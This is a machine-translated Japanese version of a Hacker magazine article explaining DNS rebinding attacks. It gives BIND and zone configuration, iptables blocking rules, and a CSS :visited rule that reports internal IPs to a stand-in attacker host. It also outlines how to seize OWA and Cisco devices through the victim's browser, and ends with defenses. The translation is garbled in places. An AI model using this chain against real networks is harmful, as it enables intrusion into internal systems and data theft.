DNS Rebindingのセカンドライフ。 アンチDNSピニング攻撃を実装するための新しいアプローチ

最新のブラウザに組み込まれたセキュリティモデルの基盤は、「同じ起源ポリシー」メカニズムです。 その本質は、ブラウザがスクリプトがサードパーティのドメインにあるデータにアクセスすることを許可しないことです。 唯一の例外は、POST要求を送信し、javascriptおよびcssファイルをページに接続する機能です。 ただし、別のドメインから受信したデータを読み取るための法的方法はありません。

バイパス制限

他のドメインからのデータ受信の制限を解除できた場合、正確に何が達成できるかを考えます。 まず、サードパーティのリソースにリクエストを送信できるだけでなく（標準のCSRF攻撃と同様）、サーバーから受信した応答を処理することもできます。 これは、CSRF攻撃から保護するように設計されたメカニズムのほとんどが機能しなくなることを意味します。 ユーザーのブラウザをプロキシとして使用しながら、内部ネットワークにあるリソース（外部からはアクセスできない）にアクセスできます。 証明書を使用してユーザーが認証されるリソースから機密データを取得することも可能です。 企業環境向けのこのようなWebアプリケーションの良い例は、Outlook Web Accessメールサーバーです。

DNSリバインドとも呼ばれるアンチDNSピンニング攻撃ファミリが考案されたのは、「同じ起源ポリシー」の制限を回避するためでした。 任意のHostヘッダー値でHTTP要求に応答するWebサーバーは、アンチDNSピンニング攻撃を受けやすくなります。 特に、デフォルト構成のすべてのApacheおよびIIS Webサーバーは脆弱です。 HTTPによって制御されるほとんどすべてのリモートサービスは、Webインターフェイスがなくても脆弱です。 たとえば、SOAP、XML-RPCなどによって制御されるリモートAPIを提供するほとんどすべてのサービスは脆弱です。

DNSリバインドによる攻撃

ポイントは何ですか？

最新のブラウザは、任意のサイトからページを受信すると、DNSクエリの結果をキャッシュします。 これは、IPアドレスをスプーフィングすることにより、リクエストがサードパーティのサーバーに送信されないようにするためです。 このメカニズムを回避するために何ができるかを考えてみましょう。 以前は、（理論上）攻撃は次のように実行できました。

1. 被害者は攻撃者のドメインにアクセスします。
2. DNSサーバーからドメイン名に対応するIPアドレスを取得します。
3. Webサーバー（受信したIPに対応）にアクセスし、そこからjavascriptスクリプトを受信します。
4. ロードがサーバーへの繰り返し要求を開始してからしばらくしてJavascriptを受信しました。
5. この時点で、ファイアウォールを使用する攻撃者は、被害者からサーバーへのすべてのリクエストをブロックします。
6. ブラウザは（適切なDNSクエリを送信することにより）サーバーのIPアドレスを取得しようとしますが、今回は被害者のローカルネットワークから脆弱なサーバーのIPアドレスを受け取ります。

したがって、被害者をevil.xxxドメインに誘い込むことができた場合、このドメイン名は外部インターネットからのIPアドレスではなく、ローカルネットワークからのIPアドレスに対応しているとユーザーのブラウザに思わせることができます。 たとえば、このアドレスでは、重要な内部企業リソースを見つけることができます。 唯一の問題は、このバージョンの攻撃が機能しないことです。

実践する

攻撃の説明からわかるように、1台のサーバーが必要です。このサーバー上で、WEBサーバーとDNSサーバーを作成および構成する必要があります。また、被害者を誘導できるドメインも必要です。 ドメイン名を登録するとき、サーバーのデータをNSサーバーとして示します。

実際に攻撃を成功させるには、両方のIPアドレスを同時に返すようにNSサーバーを構成する必要があります。 さらに、Javascriptが攻撃を行っているサーバーのIPアドレスが最初に返され、被害者のサーバーのIPアドレスが2番目に返される必要があります。 この場合、ブラウザはドメインにアクセスするときにまず攻撃スクリプトをサーバーからダウンロードします。その後、サーバーが利用できなくなった場合（ファイアウォールによるリクエストのブロックの結果）、被害者のサーバーに接続します。

この目的には、Bind 9サーバーが非常に適していますが、IPアドレスを目的の順序で返すには、フラグ--enable-fixed-rrsetを使用してソースコードから組み立てる必要があります。 デフォルトでは、このフラグは設定されておらず、バイナリで配布されているバージョンは使用できません。 bind9設定は、IPアドレスの固定順序を使用する必要があることを示しています。 これを行うには、named.conf.optionsで、optionsパラメーターで以下を指定します。



rrset-oredr { order fixed; };







次に、ゾーンを構成する必要があります。 たとえば、dns.evil.xxxドメイン：



dns A 97.246.251.93

A 192.168.0.1







その結果、攻撃者のDNSサーバーにアクセスする際、dns.attacker.ruドメインの場合、ブラウザーは常にIPアドレス97.246.251.93に最初にアクセスし、次にIPアドレスが利用できない場合は192.168.0.1にアクセスします。 場合によっては、この順序に違反する可能性があります。詳細については、以下で説明します。

DNSサーバーに加えて、攻撃にはWebサーバー（例としてApacheを考慮）と、サーバーに接続するための着信要求をブロックする便利なメカニズムが必要です。 iptablesファイアウォールを使用して、着信要求をブロックできます。ブロックする最も効果的な方法は、接続の試行に応答してtcp-resetでパケットを送信することです。そうしないと、ブラウザーはサーバーからの応答を待つTCPセッションタイムアウトの一部として余分な時間を費やします iptablesを使用すると、これは次のように行われます。



iptables -A INPUT -s [ IP-] -p tcp --dport 80 -j REJECT --reject-with tcp-reset



iptablesを使用してユーザーをブロックします

この例では、80番目のポートのみが意図的にブロックされています。攻撃を実装するには、クライアントから受信したデータが送信されるサービスが必要だからです。 その結果、攻撃は次のようになります。

1. 被害者はdns.evil.xxxドメインにアクセスします。
2. 攻撃者のDNSサーバーは、固定された順序で両方のIPアドレスを返します。
3. ブラウザは、外部IP 97.246.251.93にあるサーバーにリクエストをリダイレクトします。
4. サーバーはJavaScriptを含むHTMLページを返します。
5. ブラウザにページをロードした後、クライアントjavascriptはdns.evil.xxxドメインにリクエストを送信します。
6. サーバー側のスクリプトは、リクエストを受信した後、被害者のIPアドレスからの着信接続をブロックします。
7. しばらくすると、クライアントスクリプトは再びdns.attacker.ruドメインにアクセスし、サーバー97.246.251.93がRSTを返すため、要求はローカルサーバー192.168.0.1にリダイレクトされます。

これで、javascriptはGET / POST / HEADリクエストを97.246.251.93にあるアプリケーションに送信し、受信した応答を処理して攻撃者に結果を送信できます！

ペイロード

そのため、ブラウザはスクリプトが内部ネットワークからリソースからダウンロードされたと判断し、このリソースを管理することができます。 このスクリプトは、実際の使用のためにどのようなタスクを実行する必要がありますか？ 最初に、スクリプトは、処理している特定のアプリケーションを判断する必要があり、次に、バイパスする必要がある承認があるかどうかを判断する必要があります。 その後、スクリプトは、このタイプの機器用に組み込まれたコマンドを実行する必要があります。 たとえば、構成を変更するか、脆弱なサーバーに保存されているレター/ドキュメントのコピーを取得します。 ハードコードされたコマンドを実行した後、被害者のブラウザをプロキシモードに切り替えて、攻撃者がオンラインでアプリケーションにリクエストを送信できるようにすることができます。

これらのすべてのタスクを完了する前に、スクリプトが脆弱なアプリケーションにリクエストを送信する方法、および受信したデータが攻撃者のサーバーに転送される方法を理解する必要があります。 Same Origin Policyの制限を既に回避していることを忘れないでください。つまり、標準のAJAXテクノロジー、特にXMLHttpRequestコンポーネントを使用して、脆弱なサーバーと通信することができます。

攻撃プロセス制御サーバー（攻撃者の管理パネル）は別のドメインまたは別のポート（サーバーの80番目のポートをブロックした）にあるため、受信したデータをサーバーに転送することはより困難です。 これは、スクリプトが再び同一生成元ポリシーの制限に直面することを意味します。 幸いなことに、この問題を解決するために、JSONPと呼ばれる技術が発明されました。JSONPを使用すると、特別に準備された回答が返される場合にサーバーにリクエストを送信できます（JSONPの詳細については、Webプログラミング専用のリソースを参照してください）。 メカニズムを使用すると、すべてが明確になります。

基本認証ウィンドウ

OWAアプリケーションでの承認プロセス

コマンド実行

攻撃されたサーバーにコマンドを送信するときは、XMLHttpRequestを同期モードで使用するか、コマンドの送信を手動で同期し、前のコマンドへの回答が到着するまで次のコマンドを送信しないでください。 スクリプトのパフォーマンスを改善するには、2番目のオプションを使用することをお勧めします。

被害者のブラウザをプロキシとして使用するには、スクリプトの実行が完了した後にsetInterval関数を実行する必要があります。この関数には、攻撃を受けている機器で実行する必要がある制御サーバーから次のコマンドを要求するコードを渡します そして、コマンドの結果をサーバーに送り返すことができます。

シスコ機器から設定を取得する

Outlook Web Accessに対する攻撃の結果

企業ネットワークへの攻撃

目標が1つの場合の対処方法を見つけました。 次に、企業ネットワーク全体を攻撃する方法を把握する必要があります。 まあ、まず第一に、そのような攻撃を行うためには、容認できる時間内に攻撃対象のIPアドレスを決定する方法を学ぶ必要があります。 次に、単一のユーザーセッションで複数のターゲットを攻撃する機能を提供する必要があります。 第三に、企業の内部ネットワークにある複数のブラウザから同じサーバーに分散攻撃を実行する機能が必要です。 そして第4に、被害者のブラウザをプロキシとして使用するときに、さまざまなIPアドレスにリクエストを送信する機能が必要です（上記の説明は、このようなコマンドを1つのアドレスにのみ送信することについてでした）。

ターゲット指定

目標を決定するために、範囲ごとにネットワークIPアドレスをスキャンできます。 このために、たとえば、IFRAMEタグとonLoadイベントを使用できます。 別の実装オプションは、Imageオブジェクトを作成し、onLoadを使用して画像がロードされたかどうかを判断することです。 特定のアドレスでリソースが見つからなかったことを確認するには、setTimeout関数を使用します。しばらくすると、オブジェクトが作成されたかどうかを確認し、オブジェクトが作成されなかった場合は、このアドレスのリソースが見つからなかったことを通知します。

このアプローチの使用には、いくつかの明らかな問題が伴います。

1. プロキシサーバーは、存在しないIPアドレスに要求を送信する場合でも応答を返すことができます。その結果、onLoadメソッドは存在しないアドレスの存在も示します。
2. タイムアウト値の選択エラーの場合、潜在的に多数の誤検知。
3. 大きなタイムアウト値および/または検索されるアドレスの範囲が広い場合、選択にはかなりの時間がかかります。

これらの問題を解決するには、目標を決定する別の方法を使用できます。

CSS History Hack v 2.0

数年前、ブラウザユーザーがアクセスしたWebアドレスを特定する興味深い方法が提案されました。 メソッドの本質は、javascriptを使用すると、ページ上に作成されたリンクの色を見つけることができ、以前にアクセスしたリンクではこの色が異なることです。

したがって、アドレスのリストを作成したら、javascriptを使用してリストから各アドレスのタグを作成し、その色を既にアクセスしたリンクの色と比較できます。 操作を簡単にするために、既にアクセスしたリンクの色はCSSを使用して明示的に設定されます。

数年が経過し、この脆弱性は閉じられました。 ブラウザの最新バージョン（IE8を含む）は、リンクが以前にアクセスされた場合でも、常にプログラムでリンクのデフォルトの色を提供します。 ただし、この脆弱性は新しい方法で実装できます。 これを行うには、チェックされたリンクの配列を厳密に設定します。次に例を示します。



var links = [

'http://192.168.0.1',

'http://192.168.1.1',

'http://10.1.1.1'

];







動的に作成されたSTYLEタグの各リンクに対して、次の形式のCSSルールを追加します。



A#id:visited { background:url('http://admin.evil.xxx:8080/backonnect.php?url=http://192.168.0.1'); }







その結果、アクセスしたリンクを作成するときに、ブラウザーはアドレスで指定されたURLをロードしようとしますが、未訪問のリンクの場合、URLはロードされません。 したがって、訪問したリンクに関する情報をサーバーに送信することができ、最新バージョンを含むブラウザーの現在のバージョンはすべて、このタイプの攻撃を受けやすくなります。

複数のターゲットを攻撃する

DNS再バインドタイプの攻撃を実行するには、ユーザー側の接続をブロックする必要があり、最新のブラウザーの反応を考慮して、このブロックはTCPハンドシェイク中でも実行する必要があります。 接続後にロックが実行される場合、ブラウザは代替アドレスを使用しません。 特に、IEとFirefoxは空の応答本文で200 OK応答を返し、Operaブラウザは404エラーコードを返し、別のIPアドレスへの接続を試みません。 したがって、標準的なアプローチを使用して複数のリソースを同時に攻撃することは不可能です。

複数のターゲットに対して攻撃を行うには、目標を定義し、別のHTMLページで現在のターゲットを選択する機能を強調表示できます。 ターゲットが検出されると、そのIPアドレスがサーバーに送信され、サーバースクリプトはそれを攻撃するためにDNSテーブルに対応するサブドメインを作成する必要があります。 たとえば、IPアドレス192.168.0.1の場合、192.168.0.1.dns.evil.xxxのサブドメインを作成できます。 dns.evil.xxx/control.htmlの制御ページは、DNS Rebinding攻撃を実行するためのクライアントスクリプトを含むドキュメントがロードされるiframeを作成する必要があります。たとえば、 192.168.0.1.dns.evil.xxx / rebindingにあります。 html

攻撃中に仮想サイトを追加しないようにするには、すべてのサブドメインに対して同じファイルが返されるように、Webサーバーの仮想ホストを構成する必要があります。 これはパラドックスを作成します：攻撃を実行するサーバー自体はそれに対して脆弱です:)。

結果のページは、サーバーに要求のみを処理するように指示し、攻撃者のIPアドレスをブロックするように要求し、作業を行い、ロックを解除します。 これに加えて、サーバーは再び被害者からのリクエストを解決します。

完全なアルゴリズムは次のとおりです。

1. ターゲット決定システムは、ターゲットIPアドレスを攻撃者のサーバー（たとえば、97.246.251.93）に送信します。
2. クライアントの制御スクリプトは、サーバーにターゲットのドメイン名を要求します。
3. サーバーは、特定のIPアドレスを攻撃するために使用されるサブドメインのDNSレコードを作成します。
   
   例：
   
   97.246.251.93.dns.evil.xxx A 97.246.251.93

A 192.168.0.1
   
   
   
   
4. 制御スクリプトは、受信したドメイン名をsrc IFRAMEタグのパラメーターとして示します。
5. ドメイン192.168.0.1.evil.xxxから受信したドキュメントは、サーバーにロックを要求します。
6. サーバーはターゲットアドレスのリクエストへの応答を停止し、被害者のブラウザからポート80へのアクセスをブロックします。
7. クライアントスクリプトは、適切なデータの取得と機器の管理を行います。
8. クライアントスクリプトが終了すると、ロックを解除できることをサーバーに通知します。
9. サーバーはロックを解除し、再びポート80を攻撃するアドレスからのアクセスを許可します。
10. 制御スクリプトは次のターゲットのアドレスを要求し、必要に応じてプロセスが繰り返されます。

動的なサブドメインの作成

DNSレコードを動的に作成するには、nsupdateユーティリティなどの自動DNS更新メカニズムを使用できます。 使用する場合、DNSサーバーを再起動する必要はありません。

DNS Rebinding攻撃保護

基本的に、このタイプの攻撃から身を守る方法はいくつかあります。

1. サーバーソフトウェアの正しい構成。 値が_default_または*：80であるWebサーバーのVirtualHostパラメーターを削除し、ホスト名を明示的に登録します。
2. Webアプリケーション開発者による保護。 アプリケーションをインストールするときに、アプリケーションが配置されるサーバーのドメイン名を入力し、HTTP要求のHostパラメーターがインストール中に指定されたドメイン名と一致する場合にのみクライアントからの要求を処理するようユーザーに促します。
3. ブラウザでは、NOSCRIPTプラグインまたは類似物を使用し、JavaScriptスクリプト、Javaアプレット、またはFlashアプリケーションの実行を禁止します。
4. ゾーン分離を使用します。ゾーン分離では、外部インターネットから受信したスクリプトは、ユーザーのローカルネットワークにあるリソースへのアクセスを明示的に禁止されます。

このアプローチでは、原則としてホスト名が提供されないAPIを提供するリモートサービスのみが一意に脆弱なままです。 たとえば、Amazon EC2ベースのクラウドAPIまたはVMware ESX仮想化システム。





ハッカーマガジン、 8月（08）151

デニス・バラノフ

Positive Hack Daysに基づきます。



ハッカーを購読する

• 1 999 p。 12枚の用紙オプション
• 1249 RUR iOS / iPadの年間サブスクリプション（Androidリリースは近日公開予定！）
• Androidのハッカー